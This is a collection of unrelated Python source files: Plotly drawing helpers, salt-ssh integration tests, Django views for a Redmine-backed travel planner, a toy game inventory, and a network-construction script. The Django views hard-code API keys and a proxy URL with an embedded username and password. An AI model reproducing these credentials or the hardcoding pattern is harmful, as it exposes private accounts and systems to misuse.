self.x_face = []\n self.y_face = []\n self.z_face = []\n\n # Connectivity and color of the faces\n self.i_face = []\n self.j_face = []\n self.k_face = []\n self.intensity_face = []\n\n # Vertices of the lines\n self.x_line = []\n self.y_line = []\n self.z_line = []\n\n # Vertices of the streamlines\n self.x_streamline = []\n self.y_streamline = []\n self.z_streamline = []\n\n def add_line(self,\n points,\n mirror=False,\n ):\n \"\"\"\n Adds a line (or series of lines) to draw.\n :param points: an iterable with an arbitrary number of items. Each item is a 3D point, represented as an iterable of length 3.\n :param mirror: Should we also draw a version that's mirrored over the XZ plane? [boolean]\n :return: None\n\n E.g. add_line([(0, 0, 0), (1, 0, 0)])\n \"\"\"\n for p in points:\n self.x_line.append(float(p[0]))\n self.y_line.append(float(p[1]))\n self.z_line.append(float(p[2]))\n self.x_line.append(None)\n self.y_line.append(None)\n self.z_line.append(None)\n if mirror:\n reflected_points = [reflect_over_XZ_plane(point) for point in points]\n self.add_line(\n points=reflected_points,\n mirror=False\n )\n\n def add_streamline(self,\n points,\n mirror=False,\n ):\n \"\"\"\n Adds a line (or series of lines) to draw.\n :param points: an iterable with an arbitrary number of items. Each item is a 3D point, represented as an iterable of length 3.\n :param mirror: Should we also draw a version that's mirrored over the XZ plane? [boolean]\n :return: None\n\n E.g. add_line([(0, 0, 0), (1, 0, 0)])\n \"\"\"\n for p in points:\n self.x_streamline.append(float(p[0]))\n self.y_streamline.append(float(p[1]))\n self.z_streamline.append(float(p[2]))\n self.x_streamline.append(None)\n self.y_streamline.append(None)\n self.z_streamline.append(None)\n if mirror:\n reflected_points = [reflect_over_XZ_plane(point) for point in points]\n self.add_streamline(\n points=reflected_points,\n mirror=False\n )\n\n def add_tri(self,\n points,\n intensity=0,\n outline=False,\n mirror=False,\n ):\n \"\"\"\n Adds a triangular face to draw.\n :param points: an iterable with 3 items. Each item is a 3D point, represented as an iterable of length 3.\n :param intensity: Intensity associated with this face\n :param outline: Do you want to outline this triangle? [boolean]\n :param mirror: Should we also draw a version that's mirrored over the XZ plane? [boolean]\n :return: None\n\n E.g. add_face([(0, 0, 0), (1, 0, 0), (0, 1, 0)])\n \"\"\"\n if not len(points) == 3:\n raise ValueError(\"'points' must have exactly 3 items!\")\n for p in points:\n self.x_face.append(float(p[0]))\n self.y_face.append(float(p[1]))\n self.z_face.append(float(p[2]))\n self.intensity_face.append(intensity)\n indices_added = np.arange(len(self.x_face) - 3, len(self.x_face))\n self.i_face.append(indices_added[0])\n self.j_face.append(indices_added[1])\n self.k_face.append(indices_added[2])\n if outline:\n self.add_line(list(points) + [points[0]])\n if mirror:\n reflected_points = [reflect_over_XZ_plane(point) for point in points]\n self.add_tri(\n points=reflected_points,\n intensity=intensity,\n outline=outline,\n mirror=False\n )\n\n def add_quad(self,\n points,\n intensity=0,\n outline=True,\n mirror=False,\n ):\n \"\"\"\n Adds a quadrilateral face to draw. All points should be (approximately) coplanar if you want it to look right.\n :param points: an iterable with 4 items. Each item is a 3D point, represented as an iterable of length 3. Points should be given in sequential order.\n :param intensity: Intensity associated with this face\n :param outline: Do you want to outline this quad? [boolean]\n :param mirror: Should we also draw a version that's mirrored over the XZ plane? [boolean]\n :return: None\n\n E.g. add_face([(0, 0, 0), (1, 0, 0), (0, 1, 0)])\n \"\"\"\n if not len(points) == 4:\n raise ValueError(\"'points' must have exactly 4 items!\")\n for p in points:\n self.x_face.append(float(p[0]))\n self.y_face.append(float(p[1]))\n self.z_face.append(float(p[2]))\n self.intensity_face.append(intensity)\n indices_added = np.arange(len(self.x_face) - 4, len(self.x_face))\n\n self.i_face.append(indices_added[0])\n self.j_face.append(indices_added[1])\n self.k_face.append(indices_added[2])\n\n self.i_face.append(indices_added[0])\n self.j_face.append(indices_added[2])\n self.k_face.append(indices_added[3])\n\n if outline:\n self.add_line(list(points) + [points[0]])\n if mirror:\n reflected_points = [reflect_over_XZ_plane(point) for point in points]\n self.add_quad(\n points=reflected_points,\n intensity=intensity,\n outline=outline,\n mirror=False\n )\n\n def draw(self,\n show=True,\n title=\"\",\n colorbar_title=\"\",\n colorscale=\"viridis\",\n ):\n # Draw faces\n self.fig.add_trace(\n go.Mesh3d(\n x=self.x_face,\n y=self.y_face,\n z=self.z_face,\n i=self.i_face,\n j=self.j_face,\n k=self.k_face,\n flatshading=False,\n intensity=self.intensity_face,\n colorbar=dict(title=colorbar_title),\n colorscale=colorscale,\n showscale=colorbar_title is not None\n ),\n )\n\n # Draw lines\n self.fig.add_trace(\n go.Scatter3d(\n x=self.x_line,\n y=self.y_line,\n z=self.z_line,\n mode='lines',\n name='',\n line=dict(color='rgb(0,0,0)', width=3),\n showlegend=False,\n )\n )\n\n # Draw streamlines\n self.fig.add_trace(\n go.Scatter3d(\n x=self.x_streamline,\n y=self.y_streamline,\n z=self.z_streamline,\n mode='lines',\n name='',\n line=dict(color='rgba(119,0,255,200)', width=1),\n showlegend=False,\n )\n )\n\n self.fig.update_layout(\n title=title,\n scene=dict(aspectmode='data'),\n )\n\n if show:\n self.fig.show()\n\n return self.fig\n\n\ndef spy(\n matrix,\n show=True,\n):\n \"\"\"\n Plots the sparsity pattern of a matrix.\n :param matrix: The matrix to plot the sparsity pattern of. [2D ndarray or CasADi array]\n :param show: Whether or not to show the sparsity plot. [boolean]\n :return: The figure to be plotted [go.Figure]\n \"\"\"\n try:\n matrix = matrix.toarray()\n except:\n pass\n abs_m = np.abs(matrix)\n sparsity_pattern = abs_m >= 1e-16\n matrix[sparsity_pattern] = np.log10(abs_m[sparsity_pattern] + 1e-16)\n j_index_map, i_index_map = np.meshgrid(np.arange(matrix.shape[1]), np.arange(matrix.shape[0]))\n\n i_index = i_index_map[sparsity_pattern]\n j_index = j_index_map[sparsity_pattern]\n val = matrix[sparsity_pattern]\n val = np.ones_like(i_index)\n fig = go.Figure(\n data=go.Heatmap(\n y=i_index,\n x=j_index,\n z=val,\n # type='heatmap',\n colorscale='RdBu',\n showscale=False,\n ),\n )\n fig.update_layout(\n plot_bgcolor=\"black\",\n xaxis=dict(showgrid=False, zeroline=False),\n yaxis=dict(showgrid=False, zeroline=False, autorange=\"reversed\", scaleanchor=\"x\", scaleratio=1),\n width=800,\n height=800 * (matrix.shape[0] / matrix.shape[1]),\n )\n if show:\n fig.show()\n return fig\n\n\ndef contour(\n func, # type: callable\n x_range, # type: tuple\n y_range, # type: tuple\n resolution=50, # type: int\n show=True, # type: bool\n):\n \"\"\"\n Makes a contour plot of a function of 2 variables. Can also plot a list of functions.\n :param func: function of form f(x,y) to plot.\n :param x_range: Range of x values to plot, expressed as a tuple (x_min, x_max)\n :param y_range: Range of y values to plot, expressed as a tuple (y_min, y_max)\n :param resolution: Resolution in x and y to plot. [int]\n :param show: Should we show the plot?\n :return:\n \"\"\"\n fig, ax = plt.subplots(1, 1, figsize=(6.4, 4.8), dpi=200)\n x = np.linspace(x_range[0], x_range[1], resolution)\n y = np.linspace(y_range[0], y_range[1], resolution)\n","sub_path":"aerosandbox/visualization.py","file_name":"visualization.py","file_ext":"py","file_size_in_byte":10653,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"66357545","text":"import pytest\nimport hashlib\nimport time\n\nfrom saltcontainers.factories import ContainerFactory\n\nfrom tests.common import GRAINS_EXPECTATIONS\nfrom conftest import USER, PASSWORD\nimport json\n\ndef pytest_generate_tests(metafunc):\n '''\n Call listed functions with the grain params.\n '''\n\n functions = [\n 'test_ssh_grain_os',\n 'test_ssh_grain_oscodename',\n 'test_ssh_grain_os_family',\n 'test_ssh_grain_osfullname',\n 'test_ssh_grain_osrelease',\n 'test_ssh_grain_osrelease_info',\n ]\n\n expectations = GRAINS_EXPECTATIONS\n\n # TODO: Replace this construction with just reading a current version\n version = set(set(metafunc.config.getini('TAGS'))).intersection(set(expectations)).pop()\n if metafunc.function.func_name in functions and version:\n metafunc.parametrize('expected', [expectations[version]], ids=lambda it: version)\n\n\ndef test_ssh_grain_os(master, expected):\n grain = 'os'\n assert master.salt_ssh(\"grains.get {}\".format(grain)) == expected[grain]\n\n\ndef test_ssh_grain_oscodename(master, expected):\n grain = 'oscodename'\n assert master.salt_ssh(\"grains.get {}\".format(grain)) == expected[grain]\n\n\ndef test_ssh_grain_os_family(master, expected):\n grain = 'os_family'\n assert master.salt_ssh(\"grains.get {}\".format(grain)) == expected[grain]\n\n\ndef test_ssh_grain_osfullname(master, expected):\n grain = 'osfullname'\n assert master.salt_ssh(\"grains.get {}\".format(grain)) == expected[grain]\n\n\ndef test_ssh_grain_osrelease(master, expected):\n grain = 'osrelease'\n assert master.salt_ssh(\"grains.get {}\".format(grain)) == expected[grain]\n\n\ndef test_ssh_grain_osrelease_info(master, expected):\n grain = 'osrelease_info'\n assert master.salt_ssh(\"grains.get {}\".format(grain)) == expected[grain]\n\n\ndef test_ssh_ping(master):\n '''\n Test test.ping working.\n '''\n assert master.salt_ssh(\"test.ping\") # Returns True\n\n\ndef test_ssh_cmdrun(master):\n '''\n Test grains over Salt SSH\n '''\n assert master.salt_ssh(\"cmd.run 'uname'\") == 'Linux'\n\n\ndef test_ssh_pkg_info(master):\n '''\n Test pkg.info_instaled on RHEL series\n '''\n assert master.salt_ssh(\"pkg.info_installed python\").get('python', {}).get('install_date')\n\n\ndef test_ssh_pkg_install(master):\n '''\n Test pkg.install\n '''\n master.salt_ssh(\"cmd.run 'rpm -e test-package'\")\n out = master.salt_ssh(\"pkg.install test-package\")\n assert out.get('test-package', {}).get('new')\n assert not out.get('test-package', {}).get('old')\n\n\n@pytest.mark.tags('rhel')\ndef test_ssh_pkg_remove_rhel(master):\n '''\n Test pkg.remove on RHEL\n '''\n master.salt_ssh(\"cmd.run 'yum install test-package -y'\")\n out = master.salt_ssh(\"pkg.remove test-package\")\n assert out.get('test-package', {}).get('old')\n assert not out.get('test-package', {}).get('new')\n\n\n@pytest.mark.tags('sles', 'leap')\ndef test_ssh_pkg_remove_sles(master):\n '''\n Test pkg.remove on SLES\n '''\n master.salt_ssh(\"cmd.run 'zypper --non-interactive in test-package'\")\n out = master.salt_ssh(\"pkg.remove test-package\")\n assert out.get('test-package', {}).get('old')\n assert not out.get('test-package', {}).get('new')\n\n\ndef test_master_tops_support(master):\n '''\n Test https://github.com/saltstack/salt/pull/38021\n '''\n assert 'custom_top' in master.salt_ssh(\"state.show_top\").get('base')\n\n\ndef test_ssh_port_forwarding(master):\n '''\n Test SSH port forwarding feature.\n PR: https://github.com/saltstack/salt/pull/38021\n '''\n msg = hashlib.sha256(str(time.time())).hexdigest()\n nc = \"/salt-toaster/tests/scripts/netsend.sh\"\n of = \"/tmp/socket-8888.txt\"\n loc_port = 8888\n rem_port = 9999\n\n master['container'].run(\"/salt-toaster/tests/scripts/socket_server.py {lp} {of}\".format(lp=loc_port, of=of))\n master.salt_ssh(\"--remote-port-forwards={rp}:127.0.0.1:{lp} cmd.run '{nc} {msg} {rp}'\".format(\n nc=nc, msg=msg, lp=loc_port, rp=rem_port)\n )\n\n assert master['container'].run(\"cat {}\".format(of)).strip() == msg\n\n\n@pytest.fixture(scope=\"module\")\ndef sshdcontainer(request, salt_root, docker_client):\n obj = ContainerFactory(\n config__docker_client=docker_client,\n config__image=request.config.getini('MINION_IMAGE') or request.config.getini('IMAGE'),\n config__salt_config=None)\n\n obj.run('ssh-keygen -t rsa -f /etc/ssh/ssh_host_rsa_key -q -N \"\"')\n obj.run('ssh-keygen -t ecdsa -f /etc/ssh/ssh_host_ecdsa_key -q -N \"\"')\n obj.run('ssh-keygen -t ed25519 -f /etc/ssh/ssh_host_ed25519_key -q -N \"\"')\n obj.run('./tests/scripts/chpasswd.sh {}:{}'.format(USER, PASSWORD))\n obj.run('/usr/sbin/sshd -p 2222')\n obj.run('zypper --non-interactive rm salt') # Remove salt from the image!!\n\n request.addfinalizer(obj.remove)\n return obj\n\n\ndef test_ssh_option(master, sshdcontainer):\n '''\n Test test.ping working.\n '''\n\n master['container'].run(\"zypper --non-interactive in netcat-openbsd\")\n SSH = (\n \"salt-ssh -l quiet -i --out json --key-deploy --passwd admin123 \"\n \"--ssh-option='ProxyCommand=\\\"nc {0} 2222\\\"' target network.ip_addrs\"\n ).format(sshdcontainer['ip'])\n return json.loads(master['container'].run(SSH)).get('target') == sshdcontainer['ip']\n","sub_path":"tests/ssh/test_ssh.py","file_name":"test_ssh.py","file_ext":"py","file_size_in_byte":5267,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"388467868","text":"# -*- coding: utf-8 -*-\n\nfrom django.shortcuts import render\nfrom django.template.loader import get_template\nfrom django.http import HttpResponse,HttpResponseRedirect,JsonResponse\nfrom .models import Plan, DailyPlan, PlanComponent, RestaurantPlan, SitePlan, FlightPlan, Nationality\n\nimport logging\nimport urllib.request as urllib2\nimport urllib\nimport codecs\nimport json\nimport sys\nimport datetime\nimport time\nimport uuid\n\nlogger = logging.getLogger('application')\n# Create your views here.\n\n#api_key = \"0053edc2dc6c0f7795ab8ff652e951c136d0c6b6\"\napi_key = \"881d1b6dfa51c444b4797ea5cded9b556fe19db7\"\nredmine_url = \"http://192.168.33.15\"\ngnavi_api_key = \"0e9e8d2f5b189fc33ae94a002bf63aed\"\ngnavi_rest_search = \"http://api.gnavi.co.jp/RestSearchAPI/20150630/\"\n\nclass GnaviAPIClient:\n def __init__(self, url=gnavi_rest_search, keyid=gnavi_api_key):\n self.url = url\n self.keyid = keyid\n \n def search_rest_freeword(self, freewords):\n enc_freewords = urllib.parse.quote(freewords.encode('utf-8'))\n url = \"%s?keyid=%s&format=json&freeword=%s\" % (self.url, self.keyid, enc_freewords)\n logger.info(url)\n \n proxy = urllib.request.ProxyHandler({'http': r'http://hydrangeaproxy:1982166878@rep.proxy.nic.fujitsu.com:8080'})\n auth = urllib.request.HTTPBasicAuthHandler()\n opener = urllib.request.build_opener(proxy, auth, urllib.request.HTTPHandler)\n urllib.request.install_opener(opener)\n# req = urllib.request.Request(url)\n# res = urllib.request.urlopen(req, proxies=proxies)\n res = urllib.request.urlopen(url)\n# res = urllib.request.urlopen(req)\n reader = codecs.getreader(\"utf-8\")\n return json.load(reader(res))\n \n\nclass RedmineAPIClient:\n def __init__(self, url=redmine_url, key=api_key):\n self.url = url\n self.key = key\n self.headers = {\"X-Redmine-API-Key\": self.key}\n\n def get(self, query):\n url = self.url + query\n req = urllib2.Request(url, headers=self.headers)\n res = urllib2.urlopen(req)\n js = json.loads(res.read().decode('utf-8'))\n return js\n\n def put(self, path, data):\n url = self.url + path\n encoded_post_data = json.dumps(data).encode('utf-8')\n self.headers['Content-Type'] = 'application/json'\n self.headers['Content-Length'] = len(encoded_post_data)\n \n req = urllib.request.Request(url, headers=self.headers)\n req.get_method = lambda: 'PUT'\n res = urllib.request.urlopen(req, data=encoded_post_data)\n res_str = res.read().decode('utf-8')\n # result string is empty...\n logger.info(res_str)\n# return json.loads(res_str)\n return {\"msg\": \"OK\"}\n \n \n\n def post(self, path, data):\n url = self.url + path\n encoded_post_data = json.dumps(data).encode('utf-8')\n self.headers['Content-Type'] = 'application/json'\n self.headers['Content-Length'] = len(encoded_post_data)\n req = urllib.request.Request(url, headers=self.headers)\n res = urllib.request.urlopen(req, data=encoded_post_data)\n res_str = res.read().decode('utf-8')\n# logger.info(res_str)\n return json.loads(res_str)\n\n def get_issue(self, issue_id):\n path = \"/issues/%s.json\" % issue_id\n return self.get(path)\n\n def create_issue(self, issue):\n path = \"/issues.json\"\n return self.post(path, issue)\n\n def update_issue(self, issue_id, issue):\n path = \"/issues/%s.json\" % issue_id\n return self.put(path, issue)\n\n def create_project(self, project):\n path = \"/projects.json\"\n return self.post(path, project)\n\n\ndef index(request):\n t = get_template('common/index.html')\n return HttpResponse(t.render(\n {'data': 'dummy'},\n request\n ))\n\n\ndef new_plan(request):\n ns = Nationality.objects.all()\n t = get_template('common/common_index.html')\n return HttpResponse(t.render(\n {'nationalities': ns},\n request\n ))\n\ndef new_plan_post(request):\n rac = RedmineAPIClient()\n plan = Plan()\n plan.subject = request.POST['subject']\n project_ident = uuid.uuid1().hex\n project = {\n \"project\": {\n \"name\": request.POST['subject'],\n# \"identifier\": request.POST['subject'].replace(' ', \"-\").lower(),\n \"identifier\": project_ident,\n \"parent_id\": 1\n# \"parent_id\": 3\n }\n }\n project_ret = rac.create_project(project)\n\n plan.project_id = project_ret[\"project\"][\"id\"]\n plan.from_date = request.POST['departure_date']\n plan.to_date = request.POST['return_date']\n plan.nationality = Nationality.objects.get(id=int(request.POST['nationality']))\n\n\n top_issue = {\n \"issue\": {\n \"project_id\": project_ret[\"project\"][\"id\"],\n \"subject\": request.POST['subject'],\n \"priority_id\": 2,\n \"tracker_id\": 4\n }\n }\n res = rac.create_issue(top_issue)\n plan.issue_id = res[\"issue\"][\"id\"]\n plan.save()\n\n # daily issues\n dep_date = datetime.datetime.strptime(request.POST['departure_date'], \"%Y-%m-%d\")\n ret_date = datetime.datetime.strptime(request.POST['return_date'], \"%Y-%m-%d\")\n span = (ret_date - dep_date).days + 1\n for d in range(span):\n dep = False\n ret = False\n if d == 0:\n dep = True\n if d == span - 1:\n ret = True\n plan_date = dep_date + datetime.timedelta(days=1) * d\n new_day_plan(\n rac,\n plan,\n plan_date.strftime(\"%Y-%m-%d\"),\n project_ret[\"project\"][\"id\"],\n res[\"issue\"][\"id\"],\n dep = dep,\n ret = ret)\n return HttpResponseRedirect(\"/common/plan/%s\" % plan.id)\n# t = get_template('common/new_plan.html')\n# return HttpResponse(t.render(\n# {'subject': request.POST['subject'],\n# 'project_id': plan.project_id},\n# request\n# ))\n\ndef new_day_plan(redmine_api, parent_plan, date_str, project_id, parent_issue_id, dep=False, ret=False):\n dp = DailyPlan()\n dp.date = date_str\n dp.parent_plan = parent_plan\n day_plan_issue_def = {\n \"issue\": {\n \"project_id\": parent_plan.project_id,\n \"subject\": date_str,\n \"priority_id\": 2,\n \"tracker_id\": 4,\n \"parent_issue_id\": parent_plan.issue_id\n }\n }\n day_plan_issue = redmine_api.create_issue(day_plan_issue_def)\n dp.issue_id = day_plan_issue[\"issue\"][\"id\"]\n dp.save()\n\n ## flight planning issue\n if dep: # create departure flight\n make_plan_component(\"flight\",\n date_str,\n parent_plan,\n dp,\n redmine_api)\n make_plan_component(\"transport\",\n date_str,\n parent_plan,\n dp,\n redmine_api)\n if ret:\n make_plan_component(\"transport\",\n date_str,\n parent_plan,\n dp,\n redmine_api)\n make_plan_component(\"flight\",\n date_str,\n parent_plan,\n dp,\n redmine_api)\n ## hotel planning issue\n if not ret:\n make_plan_component(\"hotel\",\n date_str,\n parent_plan,\n dp,\n redmine_api)\n\n ## food planning issue\n if (not dep) and (not ret):\n make_plan_component(\"food\",\n \"%s 朝食\" % date_str,\n parent_plan,\n dp,\n redmine_api)\n make_plan_component(\"food\",\n \"%s 昼食\" % date_str,\n parent_plan,\n dp,\n redmine_api)\n make_plan_component(\"food\",\n \"%s 夕食\" % date_str,\n parent_plan,\n dp,\n redmine_api)\n\n elif dep and (not ret):\n make_plan_component(\"food\",\n \"%s 夕食\" % date_str,\n parent_plan,\n dp,\n redmine_api)\n\n elif ret and (not dep):\n make_plan_component(\"food\",\n \"%s 朝食\" % date_str,\n parent_plan,\n dp,\n redmine_api)\n make_plan_component(\"food\",\n \"%s 昼食\" % date_str,\n parent_plan,\n dp,\n redmine_api)\n make_plan_component(\"leisure\",\n date_str,\n parent_plan,\n dp,\n redmine_api)\n make_plan_component(\"meeting\",\n date_str,\n parent_plan,\n dp,\n redmine_api)\n\ndef list_plan(request):\n plans = Plan.objects.all()\n\n t = get_template('common/list_plans.html')\n return HttpResponse(t.render(\n {\"plans\": plans},request))\n\ndef food_planning(request, pid, iid):\n plan = Plan.objects.get(id=pid)\n t = get_template('common/food_planning.html')\n return HttpResponse(t.render(\n {\n \"plan\": plan,\n \"issue_id\": iid\n },request))\n\n\ndef search_gnavi(request):\n freewords = request.POST[\"freewords\"].split(\",\")\n gac = GnaviAPIClient()\n logger.info(\"api loaded\")\n res = gac.search_rest_freeword(','.join(freewords))\n # json\n return JsonResponse({\"data\": res})\n \n\ndef get_a_plan(request, pid):\n rac = RedmineAPIClient()\n plan = Plan.objects.get(id=pid)\n nationality = Nationality.objects.get(id=plan.nationality.id)\n \n dps = DailyPlan.objects.filter(parent_plan=plan)\n dps_list = []\n for dp in dps:\n dp_hash = {}\n dp_hash[\"subject\"] = dp.date\n dp_hash[\"data\"] = dp\n pcs = PlanComponent.objects.filter(parent_dplan=dp)\n pc_maps = []\n for pc in pcs:\n plan_comp = {}\n plan_comp[\"plan_component\"] = pc\n plan_comp[\"ticket\"] = rac.get_issue(pc.issue_id)\n pc_maps.append(plan_comp)\n dp_hash[\"plan_components\"] = pc_maps\n dps_list.append(dp_hash)\n \n t = get_template('common/plan.html')\n return HttpResponse(t.render(\n {\n \"plan\": plan,\n \"daily_plans\": dps_list,\n \"nationality\": {\"name\": nationality.name,\n \"advises\": json.loads(nationality.advises)\n },\n },request))\n \n\ndef tickets_list(request):\n t = get_template('common/tickets.html')\n \n ret = {}\n return HttpResponse(t.render({},request))\n \ndef make_plan_component(type, subject, parent_plan_pj, parent_daily_plan, redmine_api):\n pc = PlanComponent()\n pc.parent_dplan = parent_daily_plan\n sub_prefix = \"\"\n assigned_to_id = -1\n description = \"\"\n if type == \"food\":\n sub_prefix = \"食事\"\n assigned_to_id = 6\n# description = \"食事プランナは\\\"こちら\\\":http://192.168.33.10:8000/common/food_planning/%s \" % parent_plan_pj.id\n elif type == \"flight\":\n sub_prefix = \"フライト\"\n assigned_to_id = 5\n elif type == \"transport\":\n sub_prefix = \"移動\"\n assigned_to_id = 5\n elif type == \"meeting\":\n sub_prefix = \"会議\"\n assigned_to_id = 7\n elif type == \"event\":\n sub_prefix = \"イベント\"\n assigned_to_id = 7\n elif type == \"hotel\":\n sub_prefix = \"宿泊\"\n assigned_to_id = 6\n elif type == \"leisure\":\n sub_prefix = \"観光\"\n assigned_to_id = 5\n else:\n pass\n pc.subject = \"%s (%s)\" % (sub_prefix, subject)\n issue_def = {\n \"issue\": {\n \"project_id\": parent_plan_pj.project_id,\n \"subject\": \"%s (%s)\" % (sub_prefix, subject),\n \"priority_id\": 2,\n \"tracker_id\": 4,\n \"assigned_to_id\": assigned_to_id,\n \"parent_issue_id\": parent_daily_plan.issue_id,\n \"description\": description\n }\n }\n created_issue = redmine_api.create_issue(issue_def)\n pc.issue_id = created_issue[\"issue\"][\"id\"]\n pc.save()\n\n if type == \"food\":\n update_issue = {\n \"issue\": {\n \"description\": \"食事プランナは\\\"こちら\\\":http://192.168.33.10:8000/common/food_planning/%s/%s \" % (parent_plan_pj.id, pc.issue_id)\n }\n }\n redmine_api.update_issue(pc.issue_id, update_issue)\n \n \ndef set_rest_candidates(request, iid):\n rac = RedmineAPIClient()\n\n# logger.info(json.loads(request.POST[\"candidates\"]))\n rests = json.loads(request.POST[\"candidates\"])\n \n for k,v in rests.items():\n update_issue = {\n \"issue\": {\n \"notes\": \"* %s \\n* URL: %s \\n* TEL: %s \\n\" % (v[\"name\"], v[\"url\"], v[\"tel\"])\n }\n }\n rac.update_issue(iid, update_issue)\n \n change_state = {\n \"issue\": {\n \"status_id\": 8\n }\n }\n rac.update_issue(iid, change_state)\n return JsonResponse({\"status\": \"OK\"}) \n","sub_path":"common/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":13586,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"608635312","text":"# Fantasy game inventory\n\ninventory = {'rope': 1, 'torch': 2, 'gold coin': 42, 'dagger': 1, 'arrow': 12}\ndragonLoot = ['gold coin', 'dagger', 'gold coin', 'gold coin', 'ruby']\n\n\ndef displayInventory(inv):\n print('Inventory:')\n itemQuantity = 0\n for k, v in inventory.items():\n itemQuantity = itemQuantity + inventory.get(k, 0)\n print(str(v) + ' ' + str(k))\n print('Total number of items: ', end='' + str(itemQuantity))\n\n\ndef addToInventory(inv, addedItems):\n for i in range(len(addedItems)):\n inv.setdefault(addedItems[i], 1)\n inv[addedItems[i]] = inv[addedItems[i]] + 1\n global inventory\n inventory = inv\n\n\naddToInventory(inventory, dragonLoot)\ndisplayInventory(inventory)\n","sub_path":"fantasyInventory.py","file_name":"fantasyInventory.py","file_ext":"py","file_size_in_byte":731,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"381988392","text":"import numpy as np\nimport networkx as nx\nimport matplotlib.pyplot as plt\nimport time\n#tti=time.time()\n\n\n#--------------------\n#Function for pointer problems during array coping\n#--------------------\ndef arr_copy(arr):\n duplicated_arr = np.zeros(np.shape(arr))\n if len(np.shape(arr))==2:\n for i in range(np.shape(arr)[0]):\n for j in range(np.shape(arr)[1]):\n duplicated_arr[i][j]=arr[i][j]\n else:\n for k in range(len(arr)):\n duplicated_arr[k] = arr[k]\n return(duplicated_arr)\n#--------------------\n\n\n#--------------------\n#Probability distribution for random number generation in adjacency matrix\n#--------------------\ndef prob_func(x,c,ld): # ld is strength of lockdown\n return(np.exp(-1*(c**(ld+1))*x)) #c will capture the strength of lockdown. \n#--------------------\n#plot function\n#T=np.linspace(0,1,100)\n#plt.plot(T,prob_func(T,0.4))\n#plt.show()\n#--------------------\n\n\n#--------------------\n# Initial network construction\n#--------------------\ndef construct_net(nComm_arr, ld=0, threshhold=0.5): # LockDStrength is the lockdown strength.\n # nComm_arr is the number of lower level community\n # contained in the level of index position\n nComm_arr=np.asarray(nComm_arr)\n n=1\n for i in nComm_arr:\n n=n*i\n #print(n)\n \n adj_mat=np.zeros((n,n))\n counter=0\n for level_density in nComm_arr: # level density stores the size of each level in terms of lower level community\n counter=counter+1 #counter takes care of the level number at which we the loop is currently in.\n level_totNode=1\n for i in range(counter): #level3 [2,3,4] \n level_totNode=level_totNode*nComm_arr[i] #level_totNode stores the total number of nodes in one unit of the level\n for level_counter in range(int(n/level_totNode)): #number of these levels present in the community\n Ind=level_counter*level_totNode\n for row in np.arange(1,level_totNode+1,1):\n for col in np.arange(row+1,level_totNode+1,1):\n if adj_mat[Ind+row-1,Ind+col-1]==0:\n adj_mat[Ind+row-1,Ind+col-1]=prob_func(np.random.random(), (counter-1)+1, ld) #1 is bias for closest nodes\n #adj_mat[Ind+row-1,Ind+col-1]=1#counter #Uncomment this and print adj_mat to see the structure.\n else:\n pass\n\n #print(adj_mat)\n adj_matT=np.transpose(adj_mat)\n adj_mat_beauty = adj_mat + adj_matT\n adj_matFinale=np.copy(np.multiply(adj_mat_beauty>threshhold,1))\n\n h=np.sum(adj_matFinale, axis=1)\n plt.hist(h, bins=15)\n plt.show()\n\n G=nx.from_numpy_matrix(adj_matFinale)\n nx.draw(G, node_size=30, width=0.2, pos=nx.fruchterman_reingold_layout(G))\n plt.savefig('net8763_strucLD25.png')\n plt.show()\n\n #return(adj_matFinale)\n#--------------------\n\nif __name__ == \"__main__\":\n construct_net([8,7,6,3],ld=10)\n","sub_path":"net/net.py","file_name":"net.py","file_ext":"py","file_size_in_byte":2753,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"65"} +{"seq_id":"553816144","text":"#!/usr/bin/env python3\n\"\"\"\nThis page documents the axes subclasses that can be returned by\n`~proplot.subplots.subplots` and their various method wrappers. You should\nstart with the documentation on the following methods:\n\n* `BaseAxes.format`\n* `CartesianAxes.format_partial`\n* `ProjectionAxes.format_partial`\n* `BaseAxes.format_partial`\n\n`BaseAxes.format` calls the various ``format_partial`` methods in turn,\nand is your **one-stop-shop for changing axes settings** like\n*x* and *y* axis limits, axis labels, tick locations, tick labels\ngrid lines, axis scales, titles, a-b-c labelling, adding\ngeographic features, and much more.\n\n.. raw:: html\n\n

Developer notes

\n\nAxes method wrappers are documented in the \"functions\" table. The wrappers are\ndynamically applied within the `~proplot.axes.BaseAxes.__getattribute__` methods\non `~proplot.axes.BaseAxes` and its subclasses. You may be wondering: why\ndidn't I just use *decorators*? Two reasons:\n\n1. Brevity. For example: `~proplot.wrappers.cmap_wrapper` overrides **a dozen** different\n methods. This lets me override these methods in *one* line, instead of 50\n lines. To see which methods are overriden, the user can simply check the\n documentation.\n2. Documentation. If I wrapped every method, the sphinx `autodoc `_\n documentation generator would inherit docstrings from the parent methods.\n In other words, the plotting method docstrings would get duplicated on\n my website from the matplotlib website, generally with a bunch of errors.\n I could also override these methods with my own docstrings, but that would\n mean when the user tries e.g. ``help(ax.contourf)``, they would see my\n own, brief docstring instead of the comprehensive matplotlib reference\n they were probably looking for! I only add a handful of features to these\n functions, but the native methods generally have way more options.\n\nIt should be noted that dynamically wrapping every time the user accesses\nthe corresponding method will be slower than \"decoration\", which just wraps them\nonce the class is declared. But this was not found to significantly affect\nperformance. And anyway, `Premature Optimization is the Root of All Evil\n`__.\n\"\"\"\nimport numpy as np\nimport warnings\nfrom numbers import Number\nfrom matplotlib.cbook import mplDeprecation\nimport matplotlib.projections as mproj\nimport matplotlib.axes as maxes\nimport matplotlib.dates as mdates\nimport matplotlib.text as mtext\nimport matplotlib.ticker as mticker\nimport matplotlib.patches as mpatches\nimport matplotlib.gridspec as mgridspec\nimport matplotlib.transforms as mtransforms\nimport matplotlib.collections as mcollections\nfrom .rcmod import rc, _rc_names_nodots\nfrom . import utils, projs, axistools, wrappers\nfrom .utils import _default, units\nfrom .gridspec import FlexibleGridSpecFromSubplotSpec\n__all__ = [\n 'BaseAxes', 'CartesianAxes',\n 'EmptyPanel', 'PanelAxes',\n 'PolarAxes', 'ProjectionAxes',\n 'ProjectionAxesBasemap', 'ProjectionAxesCartopy',\n ]\n\n# Aliases for panel names\n_aliases = {\n 'bpanel': 